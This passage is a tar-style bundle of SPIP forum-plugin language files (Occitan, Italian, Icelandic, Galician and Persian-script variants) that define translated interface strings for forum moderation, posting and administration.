if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'ren qu’ais articles futurs (ges d’accion sus la basa de donadas).',
'bouton_radio_articles_tous' => 'ais articles totei sens excepcion',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a totei leis articles, levat lei que son forum es desactivat.',
'bouton_radio_enregistrement_obligatoire' => 'Registrament obligatòri (leis utilizaires se devon abonar en donant son adreiça e-mail avans de poder mandar de contribucions).',
'bouton_radio_moderation_priori' => 'Moderacion a priòri (lei
contribucions apareisson en public ren que se leis administrators
leis an validadas).', # MODIF
'bouton_radio_modere_abonnement' => 'moderat amb abonament',
'bouton_radio_modere_posteriori' => 'moderat a posteriòri', # MODIF
'bouton_radio_modere_priori' => 'moderat a priòri', # MODIF
'bouton_radio_publication_immediate' => 'Publicar lei messatges sus lo còp
(lei contribucions apareisson tre mandadas, leis administrators lei pòdon
suprimir puei).',
// F
'form_pet_message_commentaire' => 'Un messatge, una remarca?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Podètz pus accedir a aquelei forums.',
'forum_attention_dix_caracteres' => '<b>Atencion!</b> vòstre messatge deu tenir aumens dètz caractèrs.',
'forum_attention_trois_caracteres' => '<b>Atencion!</b> vòstre títol deu tenir aumens tres caractèrs.',
'forum_avez_selectionne' => 'Avètz seleccionat:',
'forum_cliquer_retour' => 'Clicatz <a href=\'@retour_forum@\'>aicí</a> per contunhar.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Aquest forum es moderat a priòri: vòstra contribucion pareisserà ren qu’après qu’un administrator dau sit l’aga validada.', # MODIF
'forum_lien_hyper' => '<b>Liame ipertèxt</b> (opcionau)', # MODIF
'forum_message_definitif' => 'Messatge definitiu: mandar au sit',
'forum_message_trop_long' => 'Vòstre messatge es tròp lòng. La longor maximala es de 20 000 caractèrs.', # MODIF
'forum_ne_repondez_pas' => 'Respondatz pas a aquel e-mail mai per lo forum a l’adreiça seguenta: ', # MODIF
'forum_page_url' => '(Se vòstre messatge se referís a un article publicat per lo web, o a una pagina que baile mai d’informacions, podètz marcar çai sota lo títol de la pagina e son adreiça.)',
'forum_poste_par' => 'Messatge poste@parauteur@ que fa seguida a vòstre article.', # MODIF
'forum_qui_etes_vous' => '<b>Quau siatz?</b> (opcionau)', # MODIF
'forum_texte' => 'Tèxt de vòstre messatge:', # MODIF
'forum_titre' => 'Títol:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validar aquela chausida',
'forum_voir_avant' => 'Veire lo messatge avans de lo mandar', # MODIF
'forum_votre_email' => 'Vòstra adreiça e-mail:', # MODIF
'forum_votre_nom' => 'Vòstre nom (o pseudonim):', # MODIF
'forum_vous_enregistrer' => 'Per participar a
aqueu forum, d’en primier vos cau registrar. Grandmercé
de marcar çai sota l’identificant personau qu’avètz recebut.
Se siatz pas registrat/ada, avètz de',
'forum_vous_inscrire' => 'vos inscriure.',
// I
'icone_poster_message' => 'Postar un messatge',
'icone_suivi_forum' => 'Seguit dau forum public: @nb_forums@ contribucion(s)',
'icone_suivi_forums' => 'Seguir/gerir lei forums',
'icone_supprimer_message' => 'Suprimir aqueu messatge',
'icone_valider_message' => 'Validar aqueu messatge',
'info_activer_forum_public' => '<i>Per activar lei forums publics, vougatz chausir son mòde de moderacion predefinit:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar aquela chausida de moderacion:',
'info_desactiver_forum_public' => 'Desactivar l’utilizacion dei forums publics. Lei forums publics poiràn èsser autorizats au cas per cas subre leis articles; seràn proïbits subre lei rubricas, brèvas, etc.',
'info_envoi_forum' => 'Mandadís dei forums ais autors deis articles',
'info_fonctionnement_forum' => 'Foncionament dau forum:',
'info_gauche_suivi_forum_2' => 'La pagina de <i>seguit dei forums</i> es una aisina de gestion dau vòstre sit (mai es pas un espaci per discutir o per redigir). Aficha totei lei contribucions dau forum public d’aquel article e vos permet de gerir aquelei contribucions.', # MODIF
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'son',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'es',
'info_liens_syndiques_7' => 'en espèra de validacion',
'info_mode_fonctionnement_defaut_forum_public' => 'Mòde de foncionament predefinit dei forums publics',
'info_option_email' => 'Quora un vesitaire dau sit manda un messatge nòu au forum
associat a un article, se’n pòt avisar leis autors
de l’article per e-mail. Desiratz d’utilizar aquela opcion?', # MODIF
'info_pas_de_forum' => 'Ges de forum',
'item_activer_forum_administrateur' => 'Activar lo forum deis administrators',
'item_desactiver_forum_administrateur' => 'Desactivar lo forum deis administrators',
// L
'lien_reponse_article' => 'Respònsa a l’article',
'lien_reponse_breve_2' => 'Respònsa a la brèva',
'lien_reponse_rubrique' => 'Respònsa a la rubrica',
'lien_reponse_site_reference' => 'Respònsa au sit referenciat:', # MODIF
// O
'onglet_messages_internes' => 'Messatges intèrnes',
'onglet_messages_publics' => 'Messatges publics',
'onglet_messages_vide' => 'Messatges sens tèxt',
// R
'repondre_message' => 'Respòndre a aqueu messatge',
// T
'titre_cadre_forum_administrateur' => 'Forum privat deis administrators',
'titre_cadre_forum_interne' => 'Forum intèrne',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Seguit dei forums',
'titre_page_forum_suivi' => 'Seguit dei forums'
);
?>
paquet-forum_it.php 0000666 00000000666 15252247467 0010430 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Forum di SPIP (privati e pubblici)',
'forum_slogan' => 'Gestione dei forum privati e pubblici di SPIP'
);
?>
forum_is.php 0000666 00000002231 15252247467 0007120 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=is
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_acces_refuse' => 'Þú hefur ekki lengur aðgang að þessari umræðu.',
'forum_cliquer_retour' => 'Smellið <a href=\'@retour_forum@\'>ici</a> til að halda áfram',
'forum_message_definitif' => 'Endanleg skilaboð : vistið',
'forum_poste_par' => 'Skilaboð send@parauteur@ í framhaldi greinar þinnar.', # MODIF
'forum_texte' => 'Skrifið skilaboðin :', # MODIF
'forum_titre' => 'Fyrirsögn :', # MODIF
'forum_valider' => 'Staðfesta valið',
'forum_voir_avant' => 'Skoða skilaboðið áður en það verður sent', # MODIF
'forum_votre_email' => 'Netfang þitt :', # MODIF
'forum_votre_nom' => 'Nafn (notandanafn) :', # MODIF
'forum_vous_inscrire' => 'skráðu þig inn </a> fyrst.',
// I
'icone_poster_message' => 'Senda skilaboð',
'icone_supprimer_message' => 'Eyða þessum skilaboðum',
'icone_valider_message' => 'Staðfesta skilaboðin'
);
?>
forum_oc_auv.php 0000666 00000013533 15252247467 0007770 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=oc_auv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'aus articles futurs solament (gran d’accion sus la basa de donadas).',
'bouton_radio_articles_tous' => 'aus articles totes sens excepcion',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a totes los articles, fòra aqueles que lor forum es desactivat.',
'bouton_radio_enregistrement_obligatoire' => 'Registrament obligatòri (los utilizaires se devon abonar en donar lor adreiça e-mail avans de poder mandar de contribucions).',
'bouton_radio_moderation_priori' => 'Moderacion a priòri (las
contribucions apareisson en public mas se los administrators
las an validadas).', # MODIF
'bouton_radio_modere_abonnement' => 'moderat amb abonament',
'bouton_radio_modere_posteriori' => 'moderat a posteriòri', # MODIF
'bouton_radio_modere_priori' => 'moderat a priòri', # MODIF
'bouton_radio_publication_immediate' => 'Publicar los messatges tot regde
(las contribucions apareisson tanlèu mandadas, los administrators las pòdon
suprimir puèi).',
// F
'form_pet_message_commentaire' => 'Un messatge, una remarca?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Podètz pas mai accedir vèrs aqueles forums.',
'forum_attention_dix_caracteres' => '<b>Atencion!</b> vòstre messatge deu téner aumens dètz caractèrs.',
'forum_attention_trois_caracteres' => '<b>Atencion!</b> vòstre títol deu téner aumens tres caractèrs.',
'forum_avez_selectionne' => 'Avètz seleccionat:',
'forum_cliquer_retour' => 'Clicatz <a href=\'@retour_forum@\'>aicí</a> per contunhar.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Aqueste forum es moderat a priòri: vòstra contribucion pareisserá pas qu’après qu’un administrator dau sit l’aja validada.', # MODIF
'forum_lien_hyper' => '<b>Liam ipertèxt</b> (opcionau)', # MODIF
'forum_message_definitif' => 'Messatge definitiu : mandar au sit',
'forum_message_trop_long' => 'Vòstre messatge es tròp long. La lonjor maximala es de 20 000 caractèrs.', # MODIF
'forum_ne_repondez_pas' => 'Respondatz pas a aquel e-mail mas per lo forum a l’adreiça seguenta: ', # MODIF
'forum_page_url' => '(se vòstre messatge se referís a un article publicat per lo web, o a una pagina que baile mai d’informacions, volhatz marcar çai sos lo títol de la pagina e son adreiça URL.)',
'forum_poste_par' => 'Messatge poste@parauteur@ que fai seguda a vòstre article.', # MODIF
'forum_qui_etes_vous' => '<b>Quau sètz?</b> (opcionau)', # MODIF
'forum_texte' => 'Tèxt de vòstre messatge:', # MODIF
'forum_titre' => 'Títol:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validar aquela chausida',
'forum_voir_avant' => 'Veire lo messatge avans de lo mandar', # MODIF
'forum_votre_email' => 'Vòstra adreiça e-mail:', # MODIF
'forum_votre_nom' => 'Vòstre nom (o pseudonim):', # MODIF
'forum_vous_enregistrer' => 'Per participar a
aquel forum, d’en primèir vos chau registrar. Mercés
de marcar çai sos l’identificant personau qu’avètz recebut.
Se sètz pas registrat/ada, avètz de',
'forum_vous_inscrire' => 'vos inscriure ',
// I
'icone_poster_message' => 'Postar un messatge',
'icone_suivi_forum' => 'Segut dau forum public: @nb_forums@ contribucion(s)',
'icone_suivi_forums' => 'Sègre/gerir los forums',
'icone_supprimer_message' => 'Suprimir aquel messatge',
'icone_valider_message' => 'Validar aquel messatge',
'info_activer_forum_public' => '<i>Per activar los forums publics, volhatz chausir lor mòde de moderacion predefinit:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar aquela chausida de moderacion:',
'info_desactiver_forum_public' => 'Desactivar l’utilizacion daus forums publics. Los forums publics poirán èsser autorizats au cas per cas sobre los articles; serán proïbits sobre las rubricas, brèvas, etc.',
'info_envoi_forum' => 'Enviament daus forums aus autors daus articles',
'info_fonctionnement_forum' => 'Foncionament dau forum:',
'info_gauche_suivi_forum_2' => 'La pagina de <i>segut daus forums</i> es un espleit de gestion dau vòstre sit (mas z-es pas un espaci per discutir o per redigir). Aficha totas las contribucions dau forum public d’aquel article e vos permet de gerir aquelas contribucions.', # MODIF
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'son',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'z-es',
'info_liens_syndiques_7' => 'en apèita de validacion',
'info_mode_fonctionnement_defaut_forum_public' => 'Mòde de foncionament predefinit daus forums publics',
'info_option_email' => 'Quand un vesitaire dau sit manda un messatge nuòu au forum
associat a un article, se’n pòt avisar los autors
de l’article per e-mail. Desiratz d’utilizar aquela opcion?', # MODIF
'info_pas_de_forum' => 'Ges de forum',
'item_activer_forum_administrateur' => 'Activar lo forum daus administrators',
'item_desactiver_forum_administrateur' => 'Desactivar lo forum daus administrators',
// L
'lien_reponse_article' => 'Responsa a l’article',
'lien_reponse_breve_2' => 'Responsa a la brèva',
'lien_reponse_rubrique' => 'Responsa a la rubrica',
'lien_reponse_site_reference' => 'Responsa au sit referenciat:', # MODIF
// O
'onglet_messages_internes' => 'Messatges intèrnes',
'onglet_messages_publics' => 'Messatges publics',
'onglet_messages_vide' => 'Messatges sens tèxt',
// R
'repondre_message' => 'Respondre a aquel messatge',
// T
'titre_cadre_forum_administrateur' => 'Forum privat daus administrators',
'titre_cadre_forum_interne' => 'Forum intèrne',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Segut daus forums',
'titre_page_forum_suivi' => 'Segut daus forums'
);
?>
forum_gl.php 0000666 00000016663 15252247467 0007125 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=gl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'só aos artigos futuros (non modificar nin facer nada na base de datos).',
'bouton_radio_articles_tous' => 'a todos os artigos sen excepción.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a todos os artigos, agás ós que teñan o foro desactivado;.',
'bouton_radio_enregistrement_obligatoire' => 'Rexistro obrigatorio (se quere usar este servizo ten que se rexistrar co seu enderezo de correo-e. antes de poder achegar contribucións).',
'bouton_radio_moderation_priori' => 'Moderado a priori (as
contribucións serán publicadas trala aprobación do grupo xestor).', # MODIF
'bouton_radio_modere_abonnement' => 'con subscrición',
'bouton_radio_modere_posteriori' => 'moderación a posteriori',
'bouton_radio_modere_priori' => 'moderación a priori',
'bouton_radio_publication_immediate' => 'Publicación inmediata das mensaxes
(as contribucións amósanse dende o seu envío, o equipo de xestión pódeas borrar).',
// D
'documents_interdits_forum' => 'Os documentos están prohibidos no foro',
// F
'form_pet_message_commentaire' => 'Algunha mensaxe, un comentario?',
'forum' => 'Foro',
'forum_acces_refuse' => 'Non tes acceso a estes foros.',
'forum_attention_dix_caracteres' => '<b>Atención!</b> a súa mensaxe debe conter máis de dez caracteres.',
'forum_attention_trois_caracteres' => '<b>Atención!</b> o seu título debe ter máis de tres caracteres.',
'forum_attention_trop_caracteres' => '<b>Atencion !</b> a mensaxe é demasiado longa (@compte@ caracteres) : para poder ser rexistrada, non debe sobrepasar @max@ caracteres.', # MODIF
'forum_avez_selectionne' => 'Seleccionou :',
'forum_cliquer_retour' => 'Preme <a href=\'@retour_forum@\'>aquí</a> para seguir.',
'forum_forum' => 'foro',
'forum_info_modere' => 'Este foro é moderado a priori : a súa contribución non aparecerá namentres non sexa aprobada por un administrador do web.', # MODIF
'forum_lien_hyper' => 'Ligazón de hipertexto',
'forum_message_definitif' => 'Mensaxe definitiva: enviala ao web',
'forum_message_trop_long' => 'A mensaxe é longa de máis. O tamaño máximo permitido é de 20000 caractéres.', # MODIF
'forum_ne_repondez_pas' => 'Non responda a este correo senón no foro do enderezo seguinte:',
'forum_page_url' => '(Se a súa mensaxe se refire a un artigo publicado en Internet, ou a unha páxina que contén máis informacións, indique a continuación o título da páxina e o seu enderezo URL)',
'forum_poste_par' => 'Mensaxe de @parauteur@ relacionada co artigo « @titre@ ».', # MODIF
'forum_qui_etes_vous' => 'Quen é vostede?',
'forum_texte' => 'Texto da súa mensaxe',
'forum_titre' => 'Título',
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validar a elección',
'forum_voir_avant' => 'Ver a mensaxe antes de enviala', # MODIF
'forum_votre_email' => 'O teu enderezo de correo-e.:', # MODIF
'forum_votre_nom' => 'O teu nome (ou alcume):', # MODIF
'forum_vous_enregistrer' => 'Para participar neste foro, ten que se rexistrar
con anterioridade. Escriba aquí embaixo o identificador persoal
que recibiu. Se aínda non se rexistrou, débeo facer',
'forum_vous_inscrire' => 'inscribirse.',
// I
'icone_poster_message' => 'Enviar unha mensaxe',
'icone_suivi_forum' => 'Seguimento do foro público: @nb_forums@ contribución(s)',
'icone_suivi_forums' => 'Seguir/xestionar os foros',
'icone_supprimer_message' => 'Borrar esta mensaxe',
'icone_valider_message' => 'Validar a mensaxe',
'info_activer_forum_public' => '<i>Para activar os foros públicos, escolla o xeito
de moderación predeterminado:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar esta opción de moderación:',
'info_config_forums_prive' => 'No espazo privado do web, pode activar varios tipos de foros :', # MODIF
'info_config_forums_prive_admin' => 'Un foro reservado aos administradores do web :',
'info_config_forums_prive_global' => 'Un foro global, aberto a todos os redactores :',
'info_config_forums_prive_objets' => 'Un foro sobre cada artigo, breve, web referido, etc. :',
'info_desactiver_forum_public' => 'Desactivar o uso dos foros
públicos. Os foros públicos poderán ser autorizados caso por caso
nos artigos; serán prohibidos nos temas, nas breves, etc.',
'info_envoi_forum' => 'Envío de foros ás/ós autoras/es dos artigos',
'info_fonctionnement_forum' => 'Funcionamento do foro:',
'info_gauche_suivi_forum_2' => 'A p´xina de <i>seguimento dos foros</i> &eeacute; unha ferramenta de xestión do web (e non un espazo de discusión ou de redacción). Mostra todas as contribucións nos foros do web, tanto as do espazo público coma as do espazo privado e permite xestionar estas contribucións.', # MODIF
'info_liens_syndiques_3' => 'foros',
'info_liens_syndiques_4' => 'están',
'info_liens_syndiques_5' => 'foro',
'info_liens_syndiques_6' => 'está',
'info_liens_syndiques_7' => 'agardando pola validación',
'info_mode_fonctionnement_defaut_forum_public' => 'Configuración por defecto dos foros públicos',
'info_option_email' => 'Cando unha visita envía unha nova mensaxe no foro
vencellado a un artigo, os autores relacionados co artigo poden recibir
aviso desta mensaxe por correo-e. Quere preguntar para cada tipo de foro se cómpre empregar esta opción?',
'info_pas_de_forum' => 'non hai foro',
'info_question_visiteur_ajout_document_forum' => 'Se quere autorizar os visitantes para que poidan anexar documentos (imaxes, sons...) nas súas mensaxes dos foros, indique a seguir a lista de extensións autorizadas para os foros (ex: gif, jpg, png, mp3).', # MODIF
'info_question_visiteur_ajout_document_forum_format' => 'Se quere autorizar todos os tipos de documentos considerados como fiables por SPIP, marque unha estrela. Para non autorizar nada, non indique nada.', # MODIF
'item_activer_forum_administrateur' => 'Activar o foro do equipo de xestión',
'item_config_forums_prive_global' => 'Activar o foro dos redactores',
'item_config_forums_prive_objets' => 'Activar estes foros',
'item_desactiver_forum_administrateur' => 'Desactivar o foro do equipo de xestión',
'item_non_config_forums_prive_global' => 'Desactivar o foro dos redactores',
'item_non_config_forums_prive_objets' => 'Desactivar estes foros',
// L
'lien_reponse_article' => 'Responder ao artigo',
'lien_reponse_breve_2' => 'Resposta á breve',
'lien_reponse_rubrique' => 'Resposta ó tema',
'lien_reponse_site_reference' => 'Resposta ao web referido:', # MODIF
// O
'onglet_messages_internes' => 'Mensaxes internas',
'onglet_messages_publics' => 'Mensaxes públicas',
'onglet_messages_vide' => 'Mensaxes sen texto',
// R
'repondre_message' => 'Responder a esta mensaxe',
// S
'statut_original' => 'orixinal',
// T
'text_article_propose_publication_forum' => 'Non dubide avisar a través do foro asociado a este artigo (a pé de páxina).',
'texte_en_cours_validation_forum' => 'Non dubide avisar a través dos foros que levan engadidos.',
'titre_cadre_forum_administrateur' => 'Foro privado de xestión',
'titre_cadre_forum_interne' => 'Foro interno',
'titre_config_forums_prive' => 'Foros do espazo privado',
'titre_forum' => 'Foro',
'titre_forum_suivi' => 'Seguimento dos foros',
'titre_page_forum_suivi' => 'Seguimento dos foros'
);
?>
forum_hac.php 0000666 00000006732 15252247467 0007252 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=hac
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'form_pet_message_commentaire' => 'يك پيام ، يك تفسير ؟',
'forum_acces_refuse' => '.شما ديگر اجازه استفاده از اين سخنگاه را نداريد',
'forum_attention_dix_caracteres' => '</b>! توجه<b> پيامتان بايد بيش از ده حرف باشد.',
'forum_attention_trois_caracteres' => '</b>! توجه<b> عنوانتان بايد بيش از سه حرف باشد. ',
'forum_attention_trop_caracteres' => '<b>توجه!</b> پیامتان بسیار طولانی است (@compte@کلمه) و نباید از @max@ کلمه بیشتر باشد.', # MODIF
'forum_avez_selectionne' => ': شما انتخاب كرده ايد',
'forum_cliquer_retour' => ' </a> اينجا <a href=\'@retour_forum@\'> را براى ادامه كليك كنيد ',
'forum_forum' => 'سخنگاه',
'forum_info_modere' => 'سخنگاه : پيامهاى شما پس از تأئيد گردانند گان سايت نمايان خواهند شد', # MODIF
'forum_lien_hyper' => ' (اختيارى) </b>پيوند هايپرتكست<b> ', # MODIF
'forum_message_definitif' => 'پيام نهايى : به سايت بفرستيد',
'forum_message_trop_long' => 'پيامتان بيش از حد بلند است. حداكثر اندازه ٢٠٠٠٠ حرف است', # MODIF
'forum_ne_repondez_pas' => 'به اين ايميل پاسخ ندهيد، پاسختان را در سخنگاه به آدرس زير بفرستيد',
'forum_page_url' => 'اگر پيامتان راجع به يك مقاله چاپ شده يا به يك صفحه اى كه داراى اطلاعات سودمندى است مربوط ميشود، خواهشمند است عنوان صفحه وآدرس آنرا در زير مشخص كنيد ',
'forum_poste_par' => 'پيام @parauteur@ بدنبال مقاله « @titre@ » فرستاده شده. ', # MODIF
'forum_qui_etes_vous' => '(اختيارى) <b> كى هستيد؟ </b> ', # MODIF
'forum_texte' => ':متن پيامتان', # MODIF
'forum_titre' => ':عنوان', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'اين انتخاب را معتبر كنيد',
'forum_voir_avant' => 'اين پيام را پيش از فرستادن آن بخوانيد', # MODIF
'forum_votre_email' => ':آدرس ايميل تان', # MODIF
'forum_votre_nom' => '(نام يا (نام مستعارتان ', # MODIF
'forum_vous_enregistrer' => ' براى شركت در اين سخنگاه، شما بايد از پيش ثبت نام ميكرديد. خواهشمند است كلمه شناساييتان را كه دريافت كرده ايد در زير مشخص كنيد.اگر ثبت نشديد، بايد',
'forum_vous_inscrire' => 'ثبت نام كنيد. ',
// I
'icone_suivi_forums' => 'پيگيرى/اداره كردن سخنگاه',
'icone_supprimer_message' => 'اين پيام را حذف كنيد',
'icone_valider_message' => 'اين پيام را معتبر كنيد',
// O
'onglet_messages_internes' => 'پيام هاى داخلى',
'onglet_messages_publics' => 'پيام هاى همگانى',
'onglet_messages_vide' => 'پيام هاى بدون متن',
// T
'titre_forum' => 'فوروم'
);
?>
forum_it.php 0000666 00000024332 15252247467 0007127 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Nessun messaggio sul forum',
// B
'bouton_radio_articles_futurs' => 'solo agli articoli inseriti dopo questa modifica (nessuna modifica al database attuale).',
'bouton_radio_articles_tous' => 'a tutti gli articoli senza eccezioni.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a tutti gli articoli salvo quelli per cui il forum è disattivato.',
'bouton_radio_enregistrement_obligatoire' => 'Registrazione obbligatoria (gli utenti devono abbonarsi fornendo il loro indirizzo email prima di poter inviare contributi).',
'bouton_radio_moderation_priori' => 'Moderazione a priori (i
contributi saranno pubblicati dopo validazione da parte degli
amministratori).',
'bouton_radio_modere_abonnement' => 'solo su abbonamento',
'bouton_radio_modere_posteriori' => 'moderato a posteriori',
'bouton_radio_modere_priori' => 'moderato a priori',
'bouton_radio_publication_immediate' => 'Pubblicazione immediata dei messaggi
(i contributi sono pubblicati subito dopo il loro invio, gli amministratori possono
cancellarli successivamente).',
// D
'documents_interdits_forum' => 'Documenti vietati nel forum',
// E
'erreur_enregistrement_message' => 'Il tuo messaggio non può essere salvato a causa di un problema tecnico.',
// F
'form_pet_message_commentaire' => 'Un messaggio, un commento?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Non hai accesso a questi forum.',
'forum_attention_dix_caracteres' => '<b>Attenzione!</b> il messaggio deve contenere almeno dieci caratteri.',
'forum_attention_message_non_poste' => 'Attenzione, non puoi postare il tuo messaggio!',
'forum_attention_nb_caracteres_mini' => '<b>Attenzione!</b> Il vostro messaggio deve contenere almeno @min@ caratteri.',
'forum_attention_trois_caracteres' => '<b>Attenzione!</b> il titolo deve contenere almeno tre caratteri.',
'forum_attention_trop_caracteres' => '<b>Attenzione!</b> il messaggio è troppo lungo (@compte@ caratteri): per poter essere registrato esso non deve essere più lungo di @max@ caratteri.',
'forum_avez_selectionne' => 'Hai selezionato:',
'forum_cliquer_retour' => 'Clicca <a href=\'@retour_forum@\'>qui</a> per continuare.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Questo forum è moderato a priori: il tuo contributo apparirà solo dopo essere stato approvato da un amministratore del sito.',
'forum_lien_hyper' => 'Link ipertestuale',
'forum_message' => 'I tuoi messaggi',
'forum_message_definitif' => 'Messaggio definitivo: invialo al sito',
'forum_message_trop_long' => 'Il tuo messaggio è troppo lungo. La dimensione massima è di 20000 caratteri.',
'forum_ne_repondez_pas' => 'Non rispondere a questa email ma intervieni sul forum all’indirizzo seguente:',
'forum_page_url' => '(Se il tuo messaggio si riferisce ad un articolo pubblicato sul Web o ad una pagina contenente maggiori informazioni, è possibile indicare di seguito il titolo della pagina ed il suo indirizzo URL.)',
'forum_permalink' => 'Permalink al commento',
'forum_poste_par' => 'Messaggio inviato da @parauteur@ in calce all’articolo "@titre@".',
'forum_poste_par_court' => 'Messaggio inviato @parauteur@.',
'forum_poste_par_generique' => 'Messaggio inviato @parauteur@ (@objet@ "@titre@").',
'forum_qui_etes_vous' => 'Chi sei?',
'forum_saisie_texte_info' => 'Questo form accetta scorciatoie di SPIP <code>[->url] {{bold}} {italic} <quote> <code></code> e il codice HTML <code><q> <del> <ins></code>. Per creare un paragrafo lasciate semplicemente una riga vuota.',
'forum_texte' => 'Testo del messaggio',
'forum_titre' => 'Titolo',
'forum_url' => 'URL',
'forum_valider' => 'Conferma la scelta',
'forum_voir_avant' => 'Vedi il messaggio prima di inviarlo',
'forum_votre_email' => 'Indirizzo email',
'forum_votre_nom' => 'Nome',
'forum_vous_enregistrer' => 'È necessario iscriversi
per partecipare a questo forum. Indica qui sotto l’ID personale
che ti è stato fornito. Se non sei registrato, devi',
'forum_vous_inscrire' => 'prima iscriverti.',
// I
'icone_bruler_message' => 'Segnala come SPAM',
'icone_bruler_messages' => 'Segnala come SPAM',
'icone_legitimer_message' => 'Segnala come illegale',
'icone_poster_message' => 'Invia un messaggio',
'icone_suivi_forum' => 'Andamento del forum pubblico: @nb_forums@ contributi',
'icone_suivi_forums' => 'Gestione dei forum',
'icone_supprimer_message' => 'Elimina il messaggio',
'icone_supprimer_messages' => 'Cancella questi messaggi',
'icone_valider_message' => 'Convalida il messaggio',
'icone_valider_messages' => 'Velida questi messaggi',
'icone_valider_repondre_message' => 'Conferma e rispondi a questo messaggio',
'info_1_message_forum' => '1 messaggio nel forum',
'info_activer_forum_public' => 'Per attivare i forum pubblici, scegli il tipo di moderazione predefinito:',
'info_appliquer_choix_moderation' => 'Questa scelta di moderazione verrà applicata:',
'info_config_forums_prive' => 'Nell’area riservata del sito è possibile attivare diversi tipi di forum:',
'info_config_forums_prive_admin' => 'Un forum riservato agli amministratori del sito:',
'info_config_forums_prive_global' => 'Un forum globale, aperto a tutti i redattori:',
'info_config_forums_prive_objets' => 'Un forum per ogni articolo, breve, sito repertoriato, ecc.:',
'info_desactiver_forum_public' => 'Disattiva l’uso dei forum pubblici.
I forum pubblici potranno essere autorizzati di volta in volta
sui singoli articoli; saranno invece proibiti nelle rubriche, nelle brevi, ecc',
'info_envoi_forum' => 'Notifica dei forum agli autori degli articoli',
'info_fonctionnement_forum' => 'Funzionamento del forum:',
'info_forums_liees_mot' => 'Messaggi del forum collegati a questa parola chiave',
'info_gauche_suivi_forum_2' => 'La pagina di <i>monitoraggio dei forum</i> è uno strumento di gestione del sito e non uno spazio di discussione o di redazione. In essa sono pubblicati tutti i contributi dei forum del sito, sia quelli del sito pubblico che quelli dell’area riservata, permettendone la gestione.',
'info_liens_syndiques_3' => 'forum',
'info_liens_syndiques_4' => 'sono',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'è',
'info_liens_syndiques_7' => 'in attesa di convalida',
'info_liens_texte' => 'Collegamenti nel testo del messaggio',
'info_liens_titre' => 'Collegamenti nel titolo del messaggio',
'info_mode_fonctionnement_defaut_forum_public' => 'Modo di funzionamento predefinito dei forum pubblici',
'info_nb_messages_forum' => '@nb@ messaggi nel forum',
'info_option_email' => 'Quando un visitatore del sito inserisce un nuovo messaggio nel forumassociato a un articolo, gli autori di quest’ultimo possono essereavvertiti via email. Per ogni tipo di forum, indica se desideri utilizzare quest’opzione.',
'info_pas_de_forum' => 'nessun forum',
'info_question_visiteur_ajout_document_forum' => 'Se si desidera autorizzare i visitatori ad allegare dei documenti (immagini, musiche, ecc.) ai propri messaggi nel forum, indicare qui sotto l’elenco delle estensioni dei documenti autorizzati per i forum (per es.: gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Se si desidera autorizzare tutti i tipi di documenti considerati affidabili da SPIP, mettere un asterisco. Per non autorizzare nulla lasciate il campo vuoto.',
'info_selectionner_message' => 'Selezionare i messaggi:',
'interface_formulaire' => 'Interfaccia form',
'interface_onglets' => 'Interfaccia a tab',
'item_activer_forum_administrateur' => 'Attiva il forum degli amministratori',
